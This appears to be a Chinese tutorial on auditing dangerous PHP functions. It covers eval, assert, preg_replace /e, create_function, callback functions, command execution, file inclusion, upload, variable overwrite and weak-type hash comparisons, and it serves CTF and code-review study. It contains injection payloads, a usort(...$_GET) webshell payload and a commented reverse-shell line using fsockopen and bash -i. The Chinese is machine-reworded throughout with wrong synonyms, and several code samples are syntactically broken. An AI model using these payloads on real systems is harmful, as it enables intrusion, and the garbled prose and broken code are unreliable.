eval( string $code) : mixed
eval() 返回 NULL,除非在实行的代码中 return了一个值,函数返回通报给 return的值。PHP7开始,实行的代码里如果有一个parse error,eval() 会抛出 ParseError 非常。在 PHP 7 之前,如果在实行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常实行。无法利用set_error_handler()捕获 eval() 中的解析缺点。
也便是说,我们在利用eval()函数的时候,如果我们传入的字符串不是正常的代码格式,那么就会抛出非常。以是PHP7和PHP5在这部分最大的不同是什么呢?简而言之,PHP5在代码缺点格式缺点之后仍会实行,而PHP7在代码发生缺点之后,那么eval()函数就会抛出非常,而不实行之后的代码。
示例:
<?php $code = "echo 'This is a PHP7';"; eval($code);?>实行结果——>This is a PHP7
那么如果我要实行系统命令呢?这个时候就须要用到PHP中的system函数。
<?php $code = "system('whoami');"; eval($code);?>实行结果——>desktop-m61j5j6\admin
那么到此,我们就可以结合其他姿势通过这个函数实现任意代码实行了。
assert()#PHP 5
assert( mixed $assertion[, string $description] ) : bool
PHP 7
assert( mixed $assertion[, Throwable $exception] ) : bool
断言。在PHP 5 中,是一个用于实行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值得表达式,它将被实行结果用于判断断言是否成功。
description如果assertion失落败了,选项description将会包含在失落败信息里。
exception在PHP 7中,第二个参数可以是一个Throwable工具,而不是一个字符串,如果断言失落败且启用了assert.exception,那么该工具将被抛出
assert()配置#配置项
默认值
可选值
zend.assertions
1
1 - 天生和实行代码(开拓模式) 0 - 天生代码,但在实行时跳过它 -1 - 不天生代码(生产环境)
assert.exception
0
1 - 断言失落败时抛出,可以抛出非常工具,如果没有供应非常,则抛出AssertionError工具实例 0 - 利用或天生Throwable,仅仅是基于工具天生的警告而不是抛出工具(与PHP 5 兼容)
以是搞了这么多,assert()函数到底是干什么的呢?用我的理解来说,assert()函数是处理非常的一种形式,相称于一个if条件语句的宏定义一样。
一个PHP 7 中的示例
<?php assert_options(ASSERT_EXCEPTION, 1); // 设置在断言失落败时产生非常 try { assert(1 == 2, new AssertionError('由于1不即是2,以是前面断言失落败,抛出非常')); // 用 AssertionError 非常替代普通字符串 } catch (Throwable $error) { echo $error->getMessage(); }?> 实行结果——>由于1不即是2,以是前面断言失落败,抛出非常
这里便是实例化一个工具,用这个工具来抛出非常。
一个php 5 中的示例
<?phpassert(1 == 2,'前面断言失落败,抛出非常');?> 实行结果——>Warning: assert(): 前面断言失落败,抛出非常 failed in D:\phpstudy_pro\WWW\1.php on line 2 <?phpassert(1 == 2);?> 实行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line 2
以是PHP 7 相较于PHP 5 便是多了个用Throwable来发出警告。
那么,如果前面断言成功呢?会发生什么呢?来个最大略,也是我们比较喜好的示例
<?php$code = "system(whoami)"assert($code);?> 实行结果——>desktop-m61j5j6\admin
这段代码在PHP 5 和PHP 7 中都会返回命令实行结果,虽然PHP 7 中对断言函数的参数稍作了改变,但是为了兼容低版本,以是还是会直接返回结果。
preg_replace()#通过函数名字我们也该当能够理解函数大概浸染,此函数实行一个正则表达式的搜索和更换。
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
1
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行更换。
参数解释:#$pattern: 要搜索的模式,可以是字符串或一个字符串数组。$replacement: 用于更换的字符串或字符串数组。$subject: 要搜索更换的目标字符串或字符串数组。$limit: 可选,对付每个模式用于每个 subject 字符串的最大可更换次数。 默认是-1(无限制)。$count: 可选,为更换实行的次数。那这个函数跟我们命令实行有什么关系呢?仅仅看上面的官方阐明彷佛看不出什么,但是preg_repace()有一个模式是/e模式,这个模式就会发生代码实行的问题,为什么呢?
看一个案例
<?php function Ameng($regex, $value){ return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); } foreach ($_GET as $regex => $value){ echo Ameng($regex, $value) . "\n"; }?>
上面这段我们须要把稳的便是\1,\1在正则表达式是反向引用的意思,简而言之便是指定一个子匹配项。
针对上面案例,我们来个payload:
payload=/?.={${phpinfo()}}以是语句就成了这样preg_replace('/(.)/ei', 'strtolower("\\1")', {${phpinfo()}});
那么我们直接把这段代码放到页面
<?php preg_replace('/(.)/ei', 'strtolower("\\1")', '{${phpinfo()}}');?>
访问页面,结果如下:
我们看到成功实行了代码。
但是这里我是直接将这段代码写到了文件里,那么如果我们是通过GET传参得到参数,这里针对上面那个案例就须要把稳一点,在通过GET传参时,.会被更换为_导致我们要的正则被更换了,达不到我们的效果,以是这里可用利用一些其他的正则表达式来达到目的,比如通过GET传参时我们的参数可以传入\S从而达到同样目的。以是往后再碰着这个函数的时候,要留个心眼了。不过,这里要补充一点,便是preg_replace()函数在PHP 7 后便不再支持,利用preg_replace_callback()进行更换了,取消了不屈安的\e模式。
create_function()#create_function()用来创建一个匿名函数
create_function( string $args, string $code) : string
返回唯一的函数名称作为字符串或者返回FALSE缺点
create_function()函数在内部实行eval()函数,以是我们就可以利用这一点,来实行代码。当然正由于存在安全问题,以是在PHP 7.2 之后的版本中已经废弃了create_function()函数,利用匿名函数来代替。以是这里为了演示这个函数,我采取的是PHP 5 的环境。那么这个函数到底怎么用呢?
那么来看我写的一个大略的案例
<?php $onefunc = create_function('$a','return system($a);');$onefunc(whoami);?> 实行结果——>desktop-m61j5j6\admin
我们看到利用此函数为我们相称于创造了一个匿名的函数,给它赋以相应的变量,就实行了我们要实行的代码。
那么接下来我们来看一个大略的案例
<?phperror_reporting(0);$sort_by = $_GET['sort_by'];$sorter = 'strnatcasecmp';$databases=array('1234','4321');$sort_function = ' return 1 ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';usort($databases, create_function('$a, $b', $sort_function));?>
这个紧张功能便是实现排序,这段代码就调用了create_function()函数,那么我们能否利用这个函数实行我们想要实行的代码呢?
当然可以,我们只须要在传参时将前面的符号闭合,然后输入我们想要实行的代码即可。
payload='"]);}phpinfo();/实行payload前:$sort_function = ' return 1 ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';实行payloda后:$sort_function = ' return 1 ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/
看到这里,你可能会有轻微迷惑,便是你闭合就闭合吧,为什么后面多了个;},不知道你是否想到了这一点?
那么我就来剖析一下这个,上面的那段实行代码,实际上便是一个匿名函数的创建,既然是一个函数,把稳是一个函数,那么你以为有没有花括号呢?看我如下代码
<?php //未闭合之前 function sort($a,$b){ ' return 1 ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';}//闭合之后function sort($a,$b){ ' return 1 ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/ }?>
可以看到,我们借用了匿名函数的位置,插入了我们要实行的代码,然后等这个匿名函数被create_function当作$code实行的时候,是不是代码就被实行了。
结果:
那么creat_function函数还有别的用法吗?我们将上面一个案例大略的修正一下,代码如下:
<?php $onefunc = create_function("","die(`cat flag.php`)");$_GET['func_name']();die();?>
代码大略的来看,我们只须要实行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情形下实行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动天生一个函数名为%00lambda_%d的匿名函数。%d的值是一贯递增的,会一贯递增到最大长度直到结束。以是这里可以通过多进程或者多线程访问,从而看到flag。
以是,往后再代码中如果看到调用create_function()要小心一点,但是如果是CTF题目的话,不会这么直接就吧这个函数暴露给你,它可能会用到拼接或者更换来布局这个函数。末了再强调一下,create_function函数在PHP 7.2 版本之后就已经被废弃了。
array_map()#array_map()为数组的每个元素运用回调函数
array_map( callable $callback, array $array1[, array $...] ) : array
array_map():返回数组,是为 array1 每个元素运用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样。
参数#callback:回调函数,运用到每个数组里的每个元素。array1:数组,遍历运行callback函数。...:数组列表,每个都遍历运行callback函数。返回值#返回数组,包含callback函数处理之后array1的所有元素。
说了这么多官方的函数阐明,那么这个函数到底如何利用呢?简而言之,这个函数的浸染可以这么直白的阐明一下。你本来有一个数组,然后我通过array_map函数将你这个数组当作参数传入,然后返回一个新的数组。见下图。
代码示例:
<?php $old_array = array(1, 2, 3, 4, 5); function func($arg){ return $arg $arg; } $new_array = array_map('func',$old_array); var_dump($new_array);?> 实行结果——>array(5) { [0]=> int(1) [1]=> int(4) [2]=> int(9) [3]=> int(16) [4]=> int(25)}
通过上述代码,我们大概知道这个函数便是调用回调函数(用户自定义的函数)来实现对现有数组的操作,从而得到一个新的数组。
那么功能我知道了,可是这个和代码实行有什么关系呢?如何能够利用这个函数实行代码呢?且看下面所示代码。
<?php $func = 'system'; $cmd = 'whoami'; $old_array[0] = $cmd; $new_array = array_map($func,$old_array); var_dump($new_array);?> 实行结果——>desktop-m61j5j6\adminarray(1) { [0]=> string(21) "desktop-m61j5j6\admin"}
这段代码便是,通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数实在便是system函数,那么就相称于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果便是我们想要的命令实行的结果了。
call_user_func()#call_user_func()是把第一个参数作为回调函数调用
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
第一个参数callback是被调用的回调函数,别的参数是回调函数的参数。
callback:即将被调用的回调函数parameter:传入回调函数的参数这个函数还是非常好理解的,看一段大略的示例代码
<?php function callback($a,$b){ echo $a . "\n"; echo $b; } call_user_func('callback','我是参数1','我是参数2');?>实行结果——>我是参数1我是参数2
可以看到此函数浸染便是调用了笔者自定义的函数。那么这个如何实当代码实行呢?好说,你在前面自定义的函数中加入能实行命令的代码不久可以代码实行了。
示例代码:
<?php function callback($a){ return system($a); } $cmd = 'whoami'; call_user_func('callback',$cmd);?>实行结果——>desktop-m61j5j6\admin
call_user_func_array()#
这个函数名称跟上没什么大的差别,唯一的差异就在于参数的通报上,这个函数是把一个数组作为回调函数的参数
call_user_func_array( callable $callback, array $param_arr) : mixed
示例代码
<?php function callback($a,$b){ echo $a . "\n"; echo $b; }$onearray = array('我是参数1','我是参数2'); call_user_func_array('callback',$onearray);?>实行结果——>我是参数1我是参数2
示例代码:
<?php function callback($a){ return system($a); } $cmd = array('whoami'); call_user_func_array('callback',$cmd);?> 实行结果——>desktop-m61j5j6\admin
用回调函数过滤数数组中的单元
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组确当前值会被包含在返回的结果数组中。数组的键名保留不变。
参数#array:要循环的数组callback:利用的回调函数。如果没有供应callback函数,将删除array中所有等值为FALSE的条款。flag:决定callback吸收的参数形式代码示例(这里看官方的就行,很详细):
<?phpfunction odd($var){ // returns whether the input integer is odd return($var & 1);}function even($var){ // returns whether the input integer is even return(!($var & 1));}$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);$array2 = array(6, 7, 8, 9, 10, 11, 12);echo "Odd :\n";print_r(array_filter($array1, "odd"));echo "Even:\n";print_r(array_filter($array2, "even"));?> 实行结果——>Odd :Array( [a] => 1 [c] => 3 [e] => 5)Even:Array( [0] => 6 [2] => 8 [4] => 10 [6] => 12)
从上面代码我们知道,这个函数浸染实在便是过滤,只不过这个过滤调用的是函数,而被过滤的是传入的参数。到这里你心里有没有代码实行的雏形了?
代码示例:
<?php $cmd='whoami'; $array1=array($cmd); $func ='system'; array_filter($array1,$func);?> 实行结果——>desktop-m61j5j6\admin
利用用户自定义的比较函数对数组中的值进行排序
usort( array &$array, callable $value_compare_func) : bool
代码示例:
<?php function func($a,$b){ return ($a<$b)?1:-1; } $onearray=array(1,3,2,5,9); usort($onearray, 'func'); print_r($onearray);?>实行结果——>Array( [0] => 9 [1] => 5 [2] => 3 [3] => 2 [4] => 1)
可见实现了逆序的功能。那么倘若我们把回调函数设计成能够实行代码的函数,是不是就可以实行我们想要的代码了呢?
代码示例:
<?php usort(...$_GET);?>payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assertPOST传参: x=phpinfo();
usort的参数通过GET传参,第一个参数也便是$_GET[0],随便传入一个数字即可。第二个参数也便是$_GET[1]是我们要调用的函数名称,这里采取的是assert函数。
实行结果:
uasort()#
这个跟上一个差不多,差异不是很大。此函数对数组排序并保持索引和单元之间的关联。也便是说你这个排完序之后呢,它原来对应的索引也会相应改变,类似于“绑定”。
uasort( array &$array, callable $value_compare_func) : bool
这里用的仍旧官方例子(比较好理解)
<?php// Comparison functionfunction cmp($a, $b) { if ($a == $b) { return 0; } return ($a < $b) ? -1 : 1;}// Array to be sorted$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);print_r($array);// Sort and print the resulting arrayuasort($array, 'cmp');print?> 实行结果——>Array( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4)Array( [d] => -9 [h] => -4 [c] => -1 [e] => 2 [g] => 3 [a] => 4 [f] => 5 [b] => 8)
我们创造,在排完序之后索引也随着值的位置变革而变革了。那么代码实行的示例代码实在也和上一个差不多。
代码示例:
<?php$a = $_GET['a'];$onearray = array('Ameng', $_POST['x']);uasort($onearray, $a);?>
实行结果:
总结#
看完这里不知道你对代码审计中的代码实行部分是否有另一种想法?我的想法便是这个是和后门联系在一起的。我们可以看到很多函数都具有布局实行命令的条件,而且个中很多函数也的确被用在后门中,特殊像后面几个回调函数,在后门中更是常见。当然这些后门函数也早已被安全厂商盯住,以是大部分已经无法直接免杀,以是想要免杀就须要结合其他姿势,比如更换、拼接、加密等等。但是这些知识在CTF中还是比较随意马虎涌现的。
命令实行#说完代码实行,我们再来看看命令实行。常见的命令实行函数有哪些呢?
system()#这个函数想必我们都是比较熟习的,此函数便是实行外部指令,并且显示输出
system( string $command[, int &$return_var] ) : string
1
参数#command:必需。要实行的命令return_var:可选。若设置了这个参数,那么命令实行后的返回状态就会被放到这个变量中示例代码:
<?php $cmd = 'whoami'; system($cmd);?> 实行结果——>desktop-m61j5j6\admin
这个实在和上面system函数没有太大差异,都是实行外部程序指令,只不过这个函数多了一个参数,可以让我们把命令实行输出的结果保存到一个数组中。
exec( string $command[, array &$output[, int &$return_var]] ) : string
<?php$cmd = 'whoami';echo exec($cmd);?>实行结果——>desktop-m61j5j6\admin
此函数通过shell环境实行命令,并且将完全的输出以字符串的办法返回。如果实行过程中发生缺点或者进程不产生输出,那么就返回NULL
shell_exec( string $cmd) : string
代码示例:
<?php$cmd = 'whoami';echo shell_exec($cmd);?> 实行结果——>desktop-m61j5j6\admin
实行外部程序并且显示原始输出。既然我们已经有实行命令的函数了,那么这个函数我们什么时候会用到呢?当所实行的Unix命令输出二进制数据,并且须要直接传送到浏览器的时候,须要用此函数来替代exec()或system()函数
passthru( string $command[, int &$return_var] ) : void
1
参数#command:要实行的命令return_var:Unix命令的返回状态将被记录到此函数。代码示例:
第一你可以这么写<?php passthru('whoami');//直接将结果返回到页面?>第二你可以这么写<?php passthru('whoami',$result);//将结果返回到一个变量,然后通过输出变量值得到输出内容 echo $result;?>
在当提高程空间实行指定程序。关键点就在于进程空间,倘若我现在设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,我们就须要用到这个函数了。
pcntl_exec( string $path[, array $args[, array $envs]] ) : void
1
参数#path:path必须时可实行二进制文件路径或在一个文件第一行指定了一个可实行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)args:此参数是一个通报给程序的参数的字符串数组envs:环境变量,这个想必大家都很熟习,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key代表要通报的环境变量的名称,value代表该环境变量值。示例代码:
//father<?phppcntl_exec('/usr/local/bin/php', ['2.php']);?>
//son<?php while(true){ echo 'ok'; }?>
此函数利用command参数打开进程文件指针。如果出错,那么该函数就会返回FALSE。
popen(command,mode)
代码示例:
<?php$file = popen("demo.txt","r");pclose($file);?><?php$file = popen("/bin/ls","r");//some code to be executedpclose($file);?>
此函数实行一个命令,并且打开用来输入或者输出的文件指针
proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] )
此函数实在和popen函数类似,都是实行命令
参数#cmd:要实行的命令descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准缺点(stderr)。pipes:将被置为索引数组,个中的元素是被实行程序创建的管道对应到PHP这一段的文件指针。cwd:要实行命令的初始事情目录。必需是绝对路径。此参数默认利用 NULL(表示当前 PHP 进程的事情目录)env。要实行命令所利用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)other_options:可选。附加选项suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的缺点。bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell。说白了,实在便是实行命令,只不过个中多了一些选项,包括目录的,环境变量的等。
示例代码:
$descriptorspec = array(0 => array("pipe", "r"),//标准输入,子进程从此管道读取数据1 => array("pipe", "w"),//标准输出,子进程向此管道写入数据2 => array("file", "/opt/figli/php/error-output.txt","a")//标准缺点,写入到指定文件); $process = proc_open("ls -a", $descriptorspec, $pipes); if(is_resource($process)){ echo stream_get_contents($pipes[1]);fclose($pipes[1]); proc_close($process);//在调用proc_close之前必须关闭所有管道}
include将会包含语句并实行指定文件
include 'filename';
关键点就在于实行指定文件,实行给了我们代码实行的机会。倘若此时我们布局了一个后门文件,须要在目标机器实行进行shell反弹,那么如果代码中有include而且没有进行过滤,那么我们就可以利用该函数来实行我们的后门函数。下面我来演示一下。
示例代码(1.php):
<?phphighlight_file(__FILE__);$file = $_GET['file'];include $file;?>
示例代码(2.php):
<?php//这里可以利用PHP来反弹shell,我这里只是演示//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");echo '<br><h1>[]backdoor is running!</h1>';?>
实行结果:
include_once()#
include_once与include没有太大差异,唯一的其差异已经在名称中表示了,便是相同的文件只包含一次。其他功能和include_once一样,只是增加对每个文件包含的次数。
require()#require的实现和include功能险些完备相同,那既然一样为什么还要多一个这样的函数呢?( 我也不知道)
实在两者还是有点差异的,什么差异呢?这么说,如果你包含的文件的代码里面有缺点,你以为会发生什么?是连续实行包含的文件,还是停滞实行呢?以是差异就在这里产生了。
require在出错时会导致脚本终止,而include在出错时只是发生警告,脚本还是连续实行。
require_once()#这个我以为你看完上面的,该当就懂了。这两者关系和include与include_once的关系是一样的。
总结#文件包含有很多利用手段,个中在实际环境中,例如我们向做事器写入了后门,但是我们无法直接连接做事器,那么如果有文件包含函数,我们可以通过文件包含函数包含实行我们的后门函数,让做事器反弹连接我们。岂不美哉。
文件读取(下载)#file_get_contents()#函数功能是将全体文件读入一个字符串
file_get_contents(path,include_path,context,start,max_length)
1
参数#filename:要读取文件的名称。include_path:可选。如果也想在 include_path 中搜索文件,可以设置为1。context:可选。规定句柄的位置。start:可选。规定文件中开始读取的位置。max_length:可选。规定读取的字节数。代码示例:
<?php echo file_get_contents('demo.txt');?> 实行结果——>I am a demo text
此函数将打开一个文件或URL,如果 fopen() 失落败,它将返回 FALSE 并附带缺点信息。我们可以通过在函数名前面添加一个 @ 来隐蔽缺点输出。
fopen(filename,mode,include_path,context)
代码示例:
<?php$file = fopen("demo.txt","rb");$content = fread($file,1024);echo $content;fclose($file);?> 实行结果——>I am a demo text
这段代码中实在也包含了fread的用法。由于fread仅仅只是打开一个文件,要想读取还得须要用到fread来读取文件内容。
fread()#这个函数刚才在上个函数中基本已经演示过了,便是读取文件内容。这里代码就不再演示了,大略先容一下参数和用法。
string fread ( resource $handle , int $length )
从打开的文件中读取一行
fgets(file,length)
可以看出这个函数和之前的fread差异不是很大,只不过这个读取的是一行。
fgetss()#这个函数跟上个没什么差别,也是从打开的文件中读取去一行,只不过过滤掉了 HTML 和 PHP 标签。
fgetss(file,length,tags)
代码示例:
<?php$file = fopen("demo.html","r");echo fgetss($file);fclose($file);?>demo.html代码<h1>I am a demo</h1> 实行结果——>I am a demo
这个函数从名称基本就知道它是干啥的了,读文件用的。此函数将读取一个文件,并写入到输出缓冲中。如果成功,该函数返回从文件中读入的字节数。如果失落败,该函数返回 FALSE 并附带缺点信息。
readfile(filename,include_path,context)
代码示例:
<?phpecho "<br>" . readfile("demo.txt");?> 实行结果——>I am a demo:) I am a demo:(28
我们看到不仅输出了所有内容,而且还输出了统共长度。但是没有输出换行。
file()#把文件读入到一个数组中,数组中每一个元素对应的是文件中的一行,包括换行符。
file(path,include_path,context)
代码示例:
<?phpprint_r(file("demo.txt"));?> 实行结果——>Array ( [0] => I am the first line! [1] => I am the second line! )
从名称可以看出,这个函数不是读取一个大略的文件。它的功能是解析一个配置文件(ini文件),并以数组的形式返回个中的位置。
parse_ini_file(file,process_sections)
1
参数#file:必需。要读取的ini文件process_sections:可选。若为TRUE,则返回一个多维数组,包括了详细信息代码示例:
<?phpprint_r(parse_ini_file("demo.ini"));?>demo.ini内容:[names]me = Robertyou = Peter[urls]first = "http://www.example.com"second = "https://www.runoob.com"实行结果——>Array ( [me] => Robert [you] => Peter [first] => http://www.example1.com [second] => https://www.example2.com )
这两个函数没什么好说的,想必大家也常常见到这两个函数,其浸染便是让php代码显示在页面上。这两个没有任何差异,show_source实在便是highlight_file的别名。
总结#文件读取这块内容没什么好说的,不难,大多只是基本的运用。重点文件读取如果没有设置权限和过滤参数,那就问题大了,我们就可以任意文件读取了。
补充:什么是句柄?
开局先给一段代码
$file = fopen("demo.txt","rb");
在这段代码中$file便是一个句柄。句柄关键点在“柄”,后面的fopen是一个资源,好比一口锅,而前面的$file就好比这个锅的把手。那么往后我们在操作的时候操作把手就行了。通过这个把手我们可以间接操作比较大的资源。实在也类似C措辞中的指针,只是一个标识。
文件上传#move_uploaded_file()#此函数是将上传的文件移动到新位置。
move_uploaded_file(file,newloc)
本函数检讨并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。
如果 file 不是合法的上传文件,不会涌现任何操作,move_uploaded_file() 将返回 false。
如果 file 是合法的上传文件,但出于某些缘故原由无法移动,不会涌现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。
代码示例:
$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$fileName )
这段代码便是直接吸收上传的文件,没有进行任何的过滤,那么当我们上传getshell的后门时,就可以直接获取权限,可见这个函数是不能乱用的,即便要用也要将过滤规则完善好,防止上传不合法文件。
文件删除#unlink()#此函数用来删除文件。成功返回 TURE ,失落败返回 FALSE。
unlink(filename,context)
我们知道,一些网站是有删除功能的。比如常见的论坛网站,是有删除评论或者文章功能的。倘若网站没有对删除处做限定,那么就可能会导致任意文件删除(乃至删除网站源码)。
代码示例:
<?php $file = "demo.txt"; if(unlink($file)){ echo("$file have been deleted"); }else{ echo("$file not exist?") }php>
在理解这个函数之前,我们须要先理解 PHP session。 PHP session 变量用于存储关于用户会话的信息。关于 sesson 的机制这里我就不再过于详细先容。
session_destroy()函数用来销毁一个会话中的全部数据,但并不会重置当前会话所关联的全局变量,同时也不会重置会话 cookie
代码示例:
<?php// 初始化会话。// 如果要利用会话,别忘了现在就调用:session_start();// 重置会话中的所有变量$_SESSION = array();// 如果要清理的更彻底,那么同时删除会话 cookie// 把稳:这样不但销毁了会话中的数据,还同时销毁了会话本身if (ini_get("session.use_cookies")) { $params = session_get_cookie_params(); setcookie(session_name(), '', time() - 42000, $params["path"], $params["domain"], $params["secure"], $params["httponly"] );}// 末了,销毁会话session_destroy();?>
此函数从数组中将变量导入到当前的符号表。实在浸染便是给变量重新赋值,从而达到变量覆盖的浸染。
extract(array,extract_rules,prefix)
代码示例:
<?php $color = "blue"; $one_array = array("color" => "red", "size" => "medium", "name" => "dog"); extract($one_array); echo "$color, $size, $name";?> 实行结果——>red, medium, dog
在上述代码中,我们看到,本来我们定义的color是blue,输出的时候变成了red,本来我们没有定义size和name,可是却能输出这两个变量。
还有一些在CTF比赛中涌现过的用法,比如直接让你POST传参来改变某个变量的值。
代码示例:
<?php $name = 'cat'; extract($_POST); echo $name;?>
参时如果我们POST传入name=dog,那么页面将会回显dog,解释这个函数的利用让我们实现了变量的覆盖,改变了变量的值。
parse_str()#此函数把查询到的字符串解析到变量中。
parse_str(string,array)
代码示例:
<?php parse_str("name=Ameng&sex=boy",$a); print_r($a);?> 实行结果——>Array( [name] => Ameng [sex] => boy)
上述代码是有array情形下的利用情形,那么如何实现变量的覆盖呢?如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
代码示例:
<?php$name = 'who'; $age = '20'; parse_str("name=Ameng&age=21"); echo "$name, $age";?>实行结果——>Ameng, 21
通过上述代码,我们可以创造,变量name和age都发生了变革,被新的值覆盖了。这里我用的是 PHP 7.4.3 版本。创造这个函数的这个浸染还是存在的,且没有任何危险提示。
import_request_variables()#此函数将GET/POST/Cookie变量导入到全局浸染域中。从而能够达到变量覆盖的浸染。
版本哀求:PHP 4 >= 4.1.0, PHP 5 < 5.4.0
bool import_request_variables ( string $types [, string $prefix ] )
代码示例:
<?php $name = 'who';import_request_variables('gp');if($name == 'Ameng'){echo $name;}else{echo 'You are not Ameng';}?>
如果什么变量也不传,那么页面将回显You are not Ameng如果通过GET或者POST传入name=Ameng那么页面就会回显Ameng
可以见到此函数还是很危险的,没有修复方法,不该用便是最好的方法。以是在新版本的 PHP 中已经废弃了这个函数。
foreach()#foreach 语法构造供应了遍历数组的大略办法。foreach 仅能够运用于数组和工具,如果考试测验运用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
foreach (array_expression as $value) statementforeach (array_expression as $key => $value) statement
第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
第二种格式做同样的事,只是除了当前单元的键名也会在每次循环中被赋给变量 $key。
那么这个函数如何实现变量的覆盖呢?我们来看个案例.
代码示例:
<?php $name = 'who'; foreach($_GET as $key => $value){ $$key = $value; } if($name == "Ameng"){ echo 'You are right!'; }else{ echo 'You are flase!'; }?>
那么实行结果是若何的呢?当我们直接打开页面的时候它会输出You are false!,而当我们通过GET传参name=Ameng的时候,它会回显You are right!。那么这是为什么呢?我们来剖析一下
关键点就在于$$这种写法。这种写法称为可变变量。一个变量能够获取一个普通变量的值作为这个可变变量的变量名。当利用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。这样就产生了变量覆盖漏洞,如上代码示例。其实行过程为$$key=$name,末了赋值为$value,从而实现了变量覆盖。
弱类型比较#md5()函数和sha1()绕过#关于这两个函数想必我们不陌生,无论是在实际代码审计中,还是在CTF比赛中,这些我们都是碰到过的函数。那么当我们碰着用这两个函数来判断的时候,如果绕过呢?
PHP 在处理哈希字符串的时候,会利用!=或者==来对哈希值进行比较,它会把每一个0E开头的哈希值都阐明为0,那么这个时候问题就来了,如果两个不同的值,经由哈希往后它们都变成了0E开头的哈希值,那么 PHP 就会将它们视作相等处理。那么0E开头的哈希值有哪些呢?
s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787s155964671a0e342768416822451524974117254469s1091221200a0e940624217856561557816327384675s1836677006a0e481036490867661113260034900752s1885207154a0e509367213418206700842008763514s532378020a0e220463095855511507588041205815s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s214587387a0e848240448830537924465865611904s1502113478a0e861580163291561247404381396064s1091221200a0e940624217856561557816327384675s1665632922a0e731198061491163073197128363787s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s1665632922a0e731198061491163073197128363787s878926199a0e545993274517709034328855841020
来个大略的例子吧
代码示例:
<?php $a = $_GET['a'];$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){ echo '这便是弱类型绕过'; }else{ echo '再思考一下'; }?>
从上面我给出的哪些值中,挑两个不同的值传入参数,就能看到相应的结果
上面是md5()函数的绕过姿势,那么sha1()如何绕过呢?再来看一个大略的例子
<?php $a = $_GET['a'];$b = $_GET['b'];if(isset($a,$b)){if(sha1($a) === sha1($b)){echo 'nice!!!';}else{echo 'Try again!';}}?>
当我们传入a[]=1&b[]=2的时候,虽然它会给出警告,说我们该当传入字符串而不应该是数组,但是它还是输出了nice!!!,以是我们完备可以用数字来绕过sha1()函数的比较。
is_numeric()绕过#我们先来理解一下这个函数。此函数是检测变量是否为数字或者数字字符串
is_numeric( mixed $var) : bool
如果var是数字或者数字字符串那么就返回TRUE,否则就返回FALSE。那么这里说的绕过是什么姿势呢?是十六进制。我们先来看一个大略的例子。
代码示例:
<?php $a = is_numeric('0x31206f722031');if($a){ echo 'It meets my requirement'; }else{ echo 'Try again'; }?>实行结果——>It meets my requirement
